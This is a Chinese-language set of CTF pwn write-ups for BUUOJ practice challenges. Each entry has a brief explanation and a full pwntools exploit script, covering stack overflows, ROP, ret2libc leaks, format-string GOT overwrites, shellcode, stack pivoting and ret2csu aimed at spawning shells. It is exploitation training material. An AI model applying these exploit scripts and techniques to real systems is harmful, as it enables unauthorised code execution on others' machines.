1.[第五空间2019 决赛]PWN5 [第五空间2019 决赛]PWN5
代码核心逻辑:
程序获得一个随机数,我们的密码需要和随机数相同。我们在21行把随机数覆盖成我们要输入的密码即可。
首先判断参数在栈的位置
随机数所在地址
1 2 3 4 5 6 7 8 from pwn import *p=remote('node3.buuoj.cn' ,29594 ) p.recvuntil('your name:' ) p.sendline(p32(0x0804C044 )+b'%10$4n' ) p.recvuntil('your passwd:' ) p.sendline(str (0x4 )) p.interactive()
2.get_started_3dsctf_2016 get_started_3dsctf_2016
这个程序没有push ebp; mov ebp,esp
是用esp寻址的。所以返回距离只有0x38个字节。
本题核心逻辑如下,就是简单的ROP然后修改掉参数a1 a2的值。
这里必须加上exit正常返回才能打通远程。
1 2 3 4 5 6 7 8 9 10 from pwn import *p=remote('node3.buuoj.cn' ,28271 ) get_flag=0x080489A0 a1=814536271 a2=425138641 exit=0x0804E6A0 p.recvuntil('Qual a palavrinha magica?' ,timeout = 0.5 ); p.sendline(b'A' *56 +p32(get_flag)+p32(exit)+p32(a1)+p32(a2)) p.interactive()
同时这个题还可以直接绕过判断,直接搞flag。只是远程打不通,因为栈空间被破坏了。
1 2 3 4 5 6 from pwn import *p=process('./get_started_3dsctf_2016' ) get_flag=0x080489B8 p.recvuntil('Qual a palavrinha magica?' ,timeout = 0.5 ); p.sendline(b'A' *56 +p32(get_flag)) p.interactive()
然后在网上看wp时发现有师傅用mprotect函数打,于是学习了一波。
int mprotect(const void *start, size_t len, int prot);
start:我们要操作的地址,必须是一个内存页的起始地址,页大小的整数倍
len:地址往后的长度,最好为页大小整数倍
prot:权限,且prot=7 时是可读可写可执行。可以取以下几个值,并可以用|
将几个属性结合起来使用: 1)PROT_READ:内存段可读; 2)PROT_WRITE:内存段可写; 3)PROT_EXEC:内存段可执行; 4)PROT_NONE:内存段不可访问。
mprotect函数将start开始长度为len的内存区的保护属性修改为prot指定的值。
返回值:0;成功,-1;失败(并且errno被设置)
我们的方法就是借助这个函数,将一段地址的权限修改为可读可写可执行,在这段地址上写入shellcode,然后控制eip到这段地址,从而执行shellcode。
我们选择0x80ea000
这段地址,len为1000。
然后通过pop参数返回到read函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *p=remote('node3.buuoj.cn' ,27797 ) buf = 0x80ea000 mprotect = 0x0806EC80 read_addr = 0x0806E140 pop_ret = 0x0804f460 payload=b'A' *56 +p32(mprotect)+p32(pop_ret)+p32(buf)+p32(0x1000 )+p32(0x7 )+p32(read_addr)+p32(buf)+p32(0 )+p32(buf)+p32(0x100 ) p.recvuntil('Qual a palavrinha magica?' ,timeout = 0.5 ); p.sendline(payload) shellcode=asm(shellcraft.sh(),arch='i386' ,os='linux' ) p.sendline(shellcode) p.interactive()
也可以跳到main函数执行两次,不过好像远程打不通
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *p=remote('node3.buuoj.cn' ,27797 ) buf = 0x80ea000 mprotect = 0x0806EC80 read_addr = 0x0806E140 main=0x08048A20 payload=b'A' *56 +p32(mprotect)+p32(main)+p32(buf)+p32(0x1000 )+p32(0x7 ) p.recvuntil('Qual a palavrinha magica?' ,timeout = 0.5 ); p.sendline(payload) p.recvuntil('Qual a palavrinha magica?' ,timeout = 0.5 ); payload=p32(read_addr)+p32(buf)+p32(0 )+p32(buf)+p32(0x100 ) p.sendline(payload) shellcode=asm(shellcraft.sh(),arch='i386' ,os='linux' ) p.sendline(shellcode) p.interactive()
3.ciscn_2019_n_8 ciscn_2019_n_8
保护全开
代码逻辑就是让我们输入的var[13]=17
就行。
1 2 3 4 5 6 from pwn import *p=remote("node3.buuoj.cn" ,29984 ) p.recvuntil("What's your name?\n" ,timeout=0.5 ) p.sendline(14 *p32(17 )) p.interactive()
4.ciscn_2019_en_2 ciscn_2019_en_2
这个题跟ciscn_2019_c_1一模一样。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *from LibcSearcher import *elf=ELF('./ciscn_2019_en_2' ) p=remote('node3.buuoj.cn' ,25728 ) pop_rdi = 0x0000000000400c83 ret = 0x00000000004006b9 puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] main=elf.symbols['main' ] p.sendlineafter('choice!\n' , '1' ) payload = b'\0' +b'a' *(0x50 -1 +8 )+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) p.sendlineafter('encrypted\n' ,payload) p.recvline() p.recvline() puts=u64(p.recvline()[:-1 ].ljust(8 , b'\0' )) libc=LibcSearcher('puts' ,puts) libc_base=puts-libc.dump('puts' ) binsh=libc_base+libc.dump('str_bin_sh' ) system=libc_base+libc.dump('system' ) p.sendlineafter('choice!\n' ,'1' ) payload=b'\0' +b'a' *(0x50 -1 +8 )+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system) p.sendlineafter('encrypted\n' ,payload) p.interactive()
执行后会让你选择libc库,都试试就行了。本地打不通是因为libc版本不同。
5.jarvisoj_level2 jarvisoj_level2
简单的栈溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 int __cdecl main (int argc, const char **argv, const char **envp) { vulnerable_function(); system("echo 'Hello World!'" ); return 0 ; } ssize_t vulnerable_function () { char buf[136 ]; system("echo Input:" ); return read(0 , buf, 0x100 u); }
1 2 3 4 5 6 7 8 from pwn import *p=remote('node3.buuoj.cn' ,27251 ) bin_sh=0x0804A024 system_addr=0x08048320 ret_addr=0x08048480 payload=b'a' *(0x88 +4 )+p32(system_addr)+p32(ret_addr)+p32(bin_sh) p.sendline(payload) p.interactive()
6.not_the_same_3dsctf_2016 not_the_same_3dsctf_2016
shift+f12
ctrl+x
找到调用它的函数
1 2 3 4 5 6 7 8 from pwn import *p=remote('node3.buuoj.cn' ,27679 ) get_secret=0x080489A0 flag=0x080ECA2D write=0x0806E270 payload=b'a' *0x2d +p32(get_secret)+p32(write)+p32(0xdead )+p32(1 )+p32(flag)+p32(45 ) p.sendline(payload) p.interactive()
或者用mprotect函数
基本上和上面那个get_started_3dsctf_2016一样
1 2 3 4 5 6 7 8 9 10 11 from pwn import *p=remote('node3.buuoj.cn' ,29680 ) mprotect=0x806ED40 bss=0x80ea000 ret3=0x08050b45 read_addr=0x0806E200 payload=b'A' *0x2D +p32(mprotect)+p32(ret3)+p32(bss)+p32(0x1000 )+p32(0x7 )+p32(read_addr)+p32(bss)+p32(0 )+p32(bss)+p32(0x100 ) p.sendline(payload) shellcode=asm(shellcraft.sh(),arch='i386' ,os='linux' ) p.sendline(shellcode) p.interactive()
7.bjdctf_2020_babystack bjdctf_2020_babystack
1 2 3 4 5 6 7 8 9 10 11 from pwn import *p=remote('node3.buuoj.cn' ,29095 ) bin_sh=0x400858 system=0x400590 pop_rdi=0x400833 p.recvuntil("name:\n" ) p.sendline(str (200 )) p.recvline() payload=b'a' *(0x10 +8 )+p64(pop_rdi)+p64(bin_sh)+p64(system) p.sendline(payload) p.interactive()
看wp发现有个后门函数
1 2 3 4 5 6 7 8 9 from pwn import *p=remote('node3.buuoj.cn' ,29095 ) backdoor=0x4006E6 p.recvuntil("name:\n" ) p.sendline("200" ) p.recvline() payload=b'a' *(0x10 +8 )+p64(backdoor) p.sendline(payload) p.interactive()
8.安洵杯_2018_neko 安洵杯_2018_neko
程序逻辑很简单,不细说了,输入Yqwq
进入play函数,进行溢出通过libc拿shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *from LibcSearcher import *p=remote("node3.buuoj.cn" ,25006 ) elf=ELF('2018_neko' ) puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] play=0x80486E7 p.sendline("yQAQ" ) p.recvuntil("anchovies:\n" ) payload=b'a' *(0xd0 +4 )+p32(puts_plt)+p32(play)+p32(puts_got) p.sendline(payload) p.recvuntil("anchovies?\n" ) puts=u32(p.recv(4 )) libc=LibcSearcher('puts' ,puts) libc_base=puts-libc.dump('puts' ) binsh=libc_base+libc.dump('str_bin_sh' ) system=libc_base+libc.dump('system' ) p.recvuntil("anchovies:\n" ) payload=b'a' *(0xd0 +4 )+p32(system)+p32(play)+p32(binsh) p.sendline(payload) p.interactive()
9.[HarekazeCTF2019]baby_rop [HarekazeCTF2019]baby_rop
1 2 3 4 5 6 7 from pwn import *p=remote("node3.buuoj.cn" ,29813 ) system=0x400490 binsh=0x601048 pop_rdi=0x400683 p.sendline(b'A' *0x18 +p64(pop_rdi)+p64(binsh)+p64(system)) p.interactive()
flag不在根目录,find找一下就行
10.jarvisoj_level2_x64 jarvisoj_level2_x64
1 2 3 4 5 6 7 from pwn import *p=remote("node3.buuoj.cn" ,29270 ) system=0x4004C0 binsh=0x600A90 pop_rdi=0x4006b3 p.sendline(b'A' *(0x80 +8 )+p64(pop_rdi)+p64(binsh)+p64(system)) p.interactive()
11.ciscn_2019_n_5 ciscn_2019_n_5
2个思路
1 2 3 4 5 6 7 8 9 10 from pwn import *context.os='linux' context.arch='amd64' p=remote("node3.buuoj.cn" ,25285 ) shellcode=asm(shellcraft.sh()) p.recvuntil("name\n" ) p.sendline(shellcode) p.recvuntil("me?\n" ) p.sendline(b"A" *0x28 +p64(0x601080 )) p.interactive()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *from LibcSearcher import *p=remote("node3.buuoj.cn" ,25285 ) elf=ELF("ciscn_2019_n_5" ) pop_rdi=0x400713 puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] main=elf.symbols['main' ] p.sendline("asjdlajsdkl" ) p.recvuntil("me?\n" ) p.sendline(b"A" *0x28 +p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)) puts=u64(p.recv(6 ).ljust(8 , b'\0' )) libc=LibcSearcher('puts' ,puts) libc_base=puts-libc.dump('puts' ) binsh=libc_base+libc.dump('str_bin_sh' ) system=libc_base+libc.dump('system' ) ret=0x4004c9 p.recvuntil("tell me your name\n" ) p.sendline("asjdlajsdkl" ) p.recvuntil(" me?\n" ) p.sendline(b"A" *0x28 +p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)) p.interactive()
12.ciscn_2019_ne_5 ciscn_2019_ne_5
思路是AddLog函数的输入的值,在GetFlag的strcpy函数下可以溢出。
因为找不到bin/sh
,然后通过师傅们的wp发现可以这么找。
要注意,不正常退出会报错,所以记得找exit。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *p=remote("node3.buuoj.cn" ,27017 ) system=0x80484D0 binsh=0x80482ea exit=0x80484E0 payload=b'A' *(0x48 +4 )+p32(system)+p32(exit)+p32(binsh) p.recvuntil("password:" ) p.sendline('administrator' ) p.recvuntil(":" ) p.sendline('1' ) p.sendline("info:" ) p.sendline(payload) p.recvuntil("0.Exit\n:" ) p.sendline('4' ) p.interactive()
13.others_shellcode ….这个题就离谱
14.铁人三项(第五赛区)_2018_rop 铁人三项(第五赛区)_2018_rop
懒得写题解了,就是简单的libc泄露
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *from LibcSearcher import *p=remote("node3.buuoj.cn" ,29307 ) elf=ELF("2018_rop" ) write_plt=elf.plt['write' ] write_got=elf.got['write' ] main=0x80484C6 p.sendline(b"A" *(0x88 +4 )+p32(write_plt)+p32(main)+p32(0 )+p32(write_got)+p32(4 )) write=u32(p.recv(4 )) libc=LibcSearcher("write" ,write) libc_base=write-libc.dump('write' ) binsh=libc_base+libc.dump('str_bin_sh' ) system=libc_base+libc.dump('system' ) p.sendline(b"A" *(0x88 +4 )+p32(system)+p32(main)+p32(binsh)) p.interactive()
15.bjdctf_2020_babyrop bjdctf_2020_babyrop
上题是32位的,这个题是64位的。别的好像没啥大区别。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *from LibcSearcher import *p=remote("node3.buuoj.cn" ,28535 ) elf=ELF("bjdctf_2020_babyrop" ) puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] vuln=0x40067D pop_rdi=0x400733 p.recvuntil("Pull up your sword and tell me u story!\n" ) p.sendline(b"A" *(0x20 +8 )+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)) puts=u64(p.recv(6 ).ljust(8 , b'\0' )) libc=LibcSearcher("puts" ,puts) libc_base=puts-libc.dump('puts' ) binsh=libc_base+libc.dump('str_bin_sh' ) system=libc_base+libc.dump('system' ) p.recvuntil("Pull up your sword and tell me u story!\n" ) p.sendline(b"A" *(0x20 +8 )+p64(pop_rdi)+p64(binsh)+p64(system)) p.interactive()
16.qctf_2018_stack2 qctf_2018_stack2
漏洞在这,没检查数组边界,通过后门函数拿shell就行。
1 2 3 >>> from pwn import * >>> p32(0x0804859B) b'\x9b\x85\x04\x08'
另外直接打是没办法打通的,因为返回地址的偏移不是0x70,还需要多偏移0x10的地址。
1 2 3 lea ecx, [esp+4] 把返回地址+4存到ecx and esp, 0FFFFFFF0h 把esp低四位归0 push [ecx-4] 把返回地址压入栈
具体返回位置通过调试可得知
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *p=remote("node3.buuoj.cn" ,29883 ) p.sendlineafter("have:\n" ,"1" ) p.sendlineafter("numbers\n" ,"1" ) p.sendlineafter("5. exit\n" ,"3" ) p.sendlineafter("change:\n" ,str (116 +0x10 )) p.sendlineafter("number:\n" ,str (0x9b )) p.sendlineafter("5. exit\n" ,"3" ) p.sendlineafter("change:\n" ,str (117 +0x10 )) p.sendlineafter("number:\n" ,str (0x85 )) p.sendlineafter("5. exit\n" ,"3" ) p.sendlineafter("change:\n" ,str (118 +0x10 )) p.sendlineafter("number:\n" ,str (0x04 )) p.sendlineafter("5. exit\n" ,"3" ) p.sendlineafter("change:\n" ,str (119 +0x10 )) p.sendlineafter("number:\n" ,str (0x08 )) p.sendlineafter("5. exit\n" ,"5" ) p.interactive()
17.ciscn_2019_s_9
堆栈可执行
主要逻辑函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 int pwn () { char s[24 ]; puts ("\nHey! ^_^" ); puts ("\nIt's nice to meet you" ); puts ("\nDo you have anything to tell?" ); puts (">" ); fflush(stdout ); fgets(s, 50 , stdin ); puts ("OK bye~" ); fflush(stdout ); return 1 ; }
通过代码可以看出,fgets
处可以溢出,但是直接用pwntools的shellcode,会太长。
这样就远超0x24了,不能覆盖返回地址,所以我们手写shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *p = remote("node4.buuoj.cn" ,27905 ) shellcode = ''' push 0x0068732f push 0x6e69622f mov ebx,esp xor edx, edx xor ecx, ecx mov al, 0xb int 0x80 ''' hint_addr=0x8048554 payload=asm(shellcode).ljust(0x24 ,'\x00' )+p32(hint_addr)+asm('sub esp,0x28 ; call esp' ) p.recvuntile(">\n" ) p.sendline(payload) p.interactive()
18.mrctf2020_shellcode 1 2 3 4 5 6 7 8 root@330fb4af763b:~ [*] '/root/mrctf2020_shellcode' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments
堆栈可执行
因为有个call rax
,是不确定地址,所以不能反汇编。
核心逻辑就是读取一段数据,然后执行。
1 2 3 4 5 6 from pwn import *p = remote("node4.buuoj.cn" ,26281 ) context(arch='amd64' ,os='linux' ) payload=asm(shellcraft.sh()) p.sendline(payload) p.interactive()
19.pwnable_orw
seccomp开了沙箱保护,只能调用如下的系统函数
然后是找到可读可写的段
1 2 3 4 5 6 7 8 9 10 from pwn import *p = remote("node4.buuoj.cn" ,27067 ) context(arch='i386' ,os='linux' ) payload=shellcraft.open ('/flag' ) payload+=shellcraft.read(3 ,'0x0804A065' ,70 ) payload+=shellcraft.write(1 ,'0x0804A065' ,70 ) payload=asm(payload) p.recvuntil("shellcode:" ) p.sendline(payload) p.interactive()
使用open打开的fd一般等于3,所以read的fd是3,将flag的内容读入buf。而输出的fd一般是1,这个不需要使用open的fd,所以write的fd使用1。
20.bjdctf_2020_babystack2
堆栈不可执行
输入-1使整数溢出,然后直接后门函数覆盖返回地址
1 2 3 4 5 6 7 8 9 from pwn import *p = remote("node4.buuoj.cn" ,25413 ) p.recvuntil("name:\n" ) p.sendline("-1" ) p.recvuntil("name?\n" ) backdoor=0x400726 payload = b'a' *0x18 +p64(backdoor) p.sendline(payload) p.interactive()
21.[HarekazeCTF2019]baby_rop2
开启堆栈不可执行
直接进行rop攻击即可,查询字符串没找到system等函数。所以使用read函数的libc泄漏出system函数的真正地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *p = remote("node4.buuoj.cn" ,27542 ) libc=ELF("./libc.so.6" ) elf=ELF("./babyrop2" ) pop_rdi=0x400733 pop_rsi=0x400731 format_addr=0x400770 printf_plt=elf.plt['printf' ] read_got=elf.got['read' ] main_plt=0x400636 payload=b'a' *0x28 +p64(pop_rdi)+p64(read_got)+p64(printf_plt)+p64(main_plt) p.recvuntil("name?" ) p.sendline(payload) p.recvline() read_addr=u64(p.recv(6 ).ljust(8 ,b'\x00' )) base=read_addr-libc.symbols['read' ] system_addr=base+libc.symbols['system' ] bin_sh=base+next (libc.search(b'/bin/sh' )) payload2=b'b' *0x28 +p64(pop_rdi)+p64(bin_sh)+p64(system_addr)+p64(main_plt) p.recvuntil("name?" ) p.sendline(payload2) p.interactive()
这里有个问题是,printf
函数不需要两个参数,只需要一个参数就能输出read
的got地址。这里是因为printf
和puts
是常用的输出函数,在printf
的参数是以\n
结束的纯字符串时,printf
会被优化为puts
函数并去除换行符。
22.jarvisoj_level3
堆栈不可执行
核心逻辑,能够造成溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *from LibcSearcher import *p = remote("node4.buuoj.cn" ,26019 ) elf=ELF('./level3' ) write_plt=elf.plt['write' ] write_got=elf.got['write' ] vulnerable_function=0x804844B payload=b'a' *(0x88 +4 )+p32(write_plt)+p32(vulnerable_function)+p32(1 )+p32(write_got)+p32(4 ) p.recvuntil("Input:\n" ) p.sendline(payload) write=u32(p.recv(4 ).ljust(4 ,b'\x00' )) print (write)libc=LibcSearcher('write' ,write) base=write-libc.dump('write' ) system=base+libc.dump('system' ) binsh=base+libc.dump('str_bin_sh' ) p.recvuntil("Input:\n" ) payload=b'a' *(0x88 +4 )+p32(system)+p32(vulnerable_function)+p32(binsh) p.sendline(payload) p.interactive()
23.ciscn_2019_s_3
通过gdb调试和ida可以发现buf为0x10,因为函数调用完之后直接retn,所以返回地址就是rbp
这个地址可以计算出我们写入的/bin/sh的偏移位。0x3b8-0x290=0x128
最后因为找不到pop rdx
,所以需要使用ret2csu进行巧妙构造一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *p=remote("node4.buuoj.cn" ,27697 ) execve_addr=0x4004E2 pop_rdi=0x4005a3 vuln_addr=0x4004ED pop_rsi_r15=0x4005a1 syscall=0x400501 csu_1=0x400580 p6r=0x40059A payload=b'/bin/sh\x00' +8 *b'a' +p64(vuln_addr) p.sendline(payload) binsh = u64(p.recv()[32 :40 ]) - 0x118 log.success('binsh = ' + hex (binsh)) payload=b'/bin/sh\x00' +8 *b'a' +p64(p6r) payload+=p64(0 )+p64(1 )+p64(binsh+0x58 )+p64(0 )*3 +p64(csu_1)+p64(execve_addr)+p64(pop_rdi)+p64(binsh) payload+=p64(syscall) p.sendline(payload) p.interactive()
24.jarvisoj_fm
格式化字符串,两个解法
一个是让x等于4,另一个是把printf函数的got地址变成system("/bin/sh")
的地址
1 2 3 4 5 from pwn import *p=remote("node4.buuoj.cn" ,27627 ) payload = p32(0x804A02C )+b"%11$n" p.sendline(payload) p.interactive()
1 2 3 4 5 from pwn import *p=remote("node4.buuoj.cn" ,27627 ) payload = fmtstr_payload(11 , {0x804A004 :0x080485DF }) p.sendline(payload) p.interactive()
1 2 3 4 5 6 7 8 9 from pwn import *p=remote("node4.buuoj.cn" ,27825 ) got_add=0x0804A004 system=0x080485DF payload=p32(got_add)+p32(got_add+2 )+"%2044c%12$hn" +"%32219c%11$hn" p.sendline(payload) p.interactive()
25.x_ctf_b0verfl0w
hint函数给了一个jmp esp。因为栈的长度不够构造ROP,考虑使用stack pivoting。
1 2 3 4 5 6 7 8 from pwn import *p=remote("node4.buuoj.cn" ,26868 ) shellcode=b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80' jmp_esp=0x8048504 sub_esp_jmp = asm('sub esp, 0x28;jmp esp' ) payload=shellcode+b'a' *(0x20 -len (shellcode))+b'bpbp' +p32(jmp_esp)+sub_esp_jmp p.sendline(payload) p.interactive()
26.ciscn_2019_es_2
栈溢出的空间只有8,只能正好覆盖返回地址。考虑使用frame faking栈转移
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *from LibcSearcher import *p=remote('node4.buuoj.cn' ,27284 ) elf=ELF('./ciscn_2019_es_2' ) system=elf.plt['system' ] main=elf.symbols['main' ] leave=0x080484b8 p.recvuntil("name?" ) payload=b'a' *0x27 +b'b' p.send(payload) p.recvuntil('b' ) stack=u32(p.recv(4 )) success("stack: " + hex (stack)) esp=stack-0x38 payload=(p32(esp)+p32(system)+p32(main)+p32(esp+0x10 )+b'/bin/sh\x00' ).ljust(0x28 ,b'\x00' )+p32(esp)+p32(leave) p.send(payload) p.interactive()
27.ez_pz_hackover_2016 从此题开始使用python2
做法就是挂上gdb硬调。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *context(arch='i386' ,os='linux' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] r=process("./ez_pz_hackover_2016" ) r.recvuntil('crash: ' ) gdb.attach(r,"b *0x80485F7" ) stack=int (r.recv(10 ),16 ) success("stack: " + hex (stack)) shellcode=asm(shellcraft.sh()) payload="crashme\x00" +4 *'a' r.sendline(payload) r.interactive()
1 2 3 4 5 6 >>> 0xfff8b678 -0xfff8b662 22 >>> 0xfff8b680 -0xfff8b69c -28
所需条件满足,构成exp
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *context(arch='i386' ,os='linux' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] r=remote("node4.buuoj.cn" ,29257 ) r.recvuntil('crash: ' ) stack=int (r.recv(10 ),16 ) success("stack: " + hex (stack)) shellcode=asm(shellcraft.sh()) payload="crashme\x00" +18 *'a' +p32(stack-28 )+shellcode r.sendline(payload) r.interactive()
28.jarvisoj_tell_me_something 直接溢出后门函数,因为没有压入ebp,所以不用+8。
1 2 3 4 5 6 7 8 9 10 11 from pwn import *context(arch='i386' ,os='linux' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] p=remote("node4.buuoj.cn" ,29908 ) hack=0x400620 payload=0x88 *'a' +p64(0x400620 ) p.recvuntil("message:\n" ) p.sendline(payload) p.interactive()
29.[Black Watch 入群题]PWN
代码逻辑是写入两次,第一次写入bss段,第二次写入覆盖返回地址。因为堆栈不可执行,所以思路是栈转移到bss段进行rop。因为没有system函数,所以进行泄漏libc利用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *from LibcSearcher import *context(arch='i386' ,os='linux' ,log_level='debug' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] p=remote("node4.buuoj.cn" ,27277 ) elf=ELF("./spwn" ) write_plt=elf.plt['write' ] write_got=elf.got['write' ] main=elf.sym['main' ] leave_ret=0x8048408 bss_addr=0x804A300 payload=p32(main)+p32(write_plt)+p32(main)+p32(1 )+p32(write_got)+p32(4 ) p.recvuntil("What is your name?" ) p.send(payload) p.recvuntil("What do you want to say?" ) payload='a' *0x18 +p32(bss_addr)+p32(leave_ret) p.send(payload) write_addr=u32(p.recv(4 )) success('write_addr: ' ,hex (write_addr)) libc=LibcSearcher('write' ,write_addr) libc_base=write_addr-libc.dump('write' ) system=libc_base+libc.dump('system' ) bin_sh=libc_base+libc.dump('str_bin_sh' ) p.recvuntil("What is your name?" ) payload=p32(main)+p32(system)+p32(main)+p32(bin_sh) p.send(payload) p.recvuntil("What do you want to say?" ) payload='a' *0x18 +p32(bss_addr)+p32(leave_ret) p.send(payload) p.interactive()
30.picoctf_2018_rop chain
程序存在后门函数flag,读取flag的条件是win1和win2相等,a1=-559039827。我们可以调用win_function1和win_function2修改win的值。
1 2 3 int a=-559039827 ;printf ("0x%x" ,a);
exp:
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context(arch='i386' ,os='linux' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] p=remote("node4.buuoj.cn" ,28277 ) p.recvuntil("Enter your input> " ) fun1=0x80485CB fun2=0x80485D8 flag=0x804862B payload="a" *(0x18 +4 )+p32(fun1)+p32(fun2)+p32(flag)+p32(0xbaaaaaad )+p32(0xdeadbaad ) p.sendline(payload) p.interactive()
31.jarvisoj_level4 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *from LibcSearcher import *context(arch='i386' ,os='linux' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] p=remote("node4.buuoj.cn" ,28264 ) elf=ELF("./jarvisoj_level4" ) write_got=0x804A018 write_plt=0x08048340 main=0x08048470 payload="a" *(0x88 +4 )+p32(write_plt)+p32(main)+p32(1 )+p32(write_got)+p32(4 ) p.sendline(payload) write_addr = u32(p.recv(4 )) libc = LibcSearcher("write" , write_addr) libc_base = write_addr - libc.dump("write" ) system_addr = libc_base + libc.dump("system" ) binsh_addr = libc_base + libc.dump("str_bin_sh" ) payload = "a" *0x8c +p32(system_addr)+p32(main)+p32(binsh_addr) p.sendline(payload) p.interactive()
32.jarvisoj_level3_x64 这题rop找不到pop rdx
,直接使用read函数的mov edx,200h
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *from LibcSearcher import *p=remote("node4.buuoj.cn" ,27570 ) elf=ELF("./level3_x64" ) pop_rdi=0x04006b3 pop_rdx_r15=0x04006b1 write_plt=0x04004B0 write_got=0x0600A58 main=0x040061A payload="a" *(0x80 +8 )+p64(pop_rdi)+p64(1 )+p64(pop_rdx_r15)+p64(write_got)+p64(0 )+p64(write_plt)+p64(main) p.recvuntil("Input:\n" ) p.sendline(payload) write=u64(p.recv(8 )) libc=LibcSearcher("write" ,write) libc_base=write-libc.dump("write" ) system=libc_base+libc.dump("system" ) binsh=libc_base+libc.dump("str_bin_sh" ) payload = "a" *0x88 +p64(pop_rdi)+p64(binsh)+p64(system) p.recvuntil("Input:\n" ) p.sendline(payload) p.interactive()
33.bjdctf_2020_babyrop2
gift函数获取canary地址,vuln函数栈溢出泄漏libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *from LibcSearcher import *p=remote("node4.buuoj.cn" ,26747 ) p.recvuntil("I'll give u some gift to help u!" ) p.sendline("%7$p" ) p.recvuntil("0x" ) canary=int (p.recv(16 ),16 ) pop_rdi=0x400993 puts_plt=0x400610 puts_got=0x601018 vuln=0x400887 payload="a" *(0x20 -8 )+p64(canary)+"a" *8 +p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln) p.recvuntil("Pull up your sword and tell me u story!\n" ) p.sendline(payload) puts=u64(p.recv(6 ).ljust(8 ,"\x00" )) libc=LibcSearcher("puts" ,puts) base=puts-libc.dump("puts" ) system=base+libc.dump("system" ) binsh=base+libc.dump("str_bin_sh" ) payload="a" *(0x20 -8 )+p64(canary)+"a" *8 +p64(pop_rdi)+p64(binsh)+p64(system)+p64(vuln) p.recvuntil("Pull up your sword and tell me u story!\n" ) p.sendline(payload) p.interactive()
34.axb_2019_fmt32 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *from LibcSearcher import *p=remote("node4.buuoj.cn" ,28482 ) strlen_got=0x804A024 read_got=0x804A010 p.sendline("b" +p32(read_got)+"22" +"%8$s" ) p.recvuntil("22" ) read_addr=u32(p.recv(4 )) log.info("read_addr: " +hex (read_addr)) libc=LibcSearcher("read" ,read_addr) base=read_addr-libc.dump("read" ) system=libc.dump("system" )+base payload="a" +fmtstr_payload(8 ,{strlen_got:system},write_size = "byte" ,numbwritten = 0xa ) p.sendline(payload) p.sendline(";/bin/sh\x00" ) p.interactive()
1 2 3 4 5 6 fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’) 第一个参数表示格式化字符串的偏移; 第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将strlen的GOT数据改为system函数地址,就写成{strlenGOT:systemAddress}; 第三个参数表示已经输出的字符个数,默认值为0; 第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。 fmtstr_payload函数返回的就是payload
这里numbwritten的原因是前面输出了一小段,和a加起来正好10个字节
补充点简单shell的知识(看完自己去测试就明白了)
管道符 |
:command1正确输出,作为command2的输入 然后comand2的输出作为comand3的输入
;符号
:也就是我们上题用的符号,用来过滤垃圾数据,这个符号用来分割语句,就算前后的句子都错了,它也能正常执行中间的句子。
ps.本题本来应该早出来的,然后我把/bin/sh写成了/bin/bash. (´;ω;`)
